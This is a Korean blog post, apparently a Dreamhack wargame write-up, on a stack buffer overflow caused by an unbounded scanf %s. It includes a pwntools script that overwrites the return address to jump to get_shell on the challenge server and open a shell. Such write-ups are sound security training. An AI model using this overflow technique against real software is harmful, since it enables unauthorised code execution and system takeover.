Fascination
article thumbnail

Return Address Overwrite

Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.


# 문제 분석

- Return Address Overwrite

  • 오버플로우 발생 시 반환 주소(Return Address)를 조작하여 실행흐름을 바꾸는 기법

- checksec

- 함수 목록

  • get_shell 함수를 이용하면 쉘을 획득할 수 있을 것임

- main 함수

  • scanf는 길이 검증을 하지 않기 때문에 buffer의 크기를 넘어 스택 영역을 덮어 쓸 수 있을 것임
    • %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백인 문자로 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징이 있음
    • 정확히 n개의 문자만 입력받는 "%[n]s"의 형태로 사용해야 함

 

💡 코어 파일이 생성되지 않을 때

  • 리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있음
  • 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야 할 코어파일의 크기가 이를 초과했기 때문임
  • 다음의 명령어로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있음
$ ulimit -c unlimited

 

 

# exploit

  • buffer(0x30) + rbp(0x8) + ret(0x8) 형식으로 페이로드를 작성하면 쉘을 획득할 수 있을 것임
from pwn import *

p = remote('host3.dreamhack.games', 8767)
e = ELF('./rao')

payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(e.symbols['get_shell'])

p.sendline(payload)

p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] Return to Library  (0) 2022.09.07
[Dreamhack] Return to Shellcode  (0) 2022.09.05
[Dreamhack] basic_exploitation_001  (0) 2022.09.01
[Dreamhack] basic_exploitation_000  (0) 2022.08.31
[Dreamhack] shell_basic  (0) 2022.08.31
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!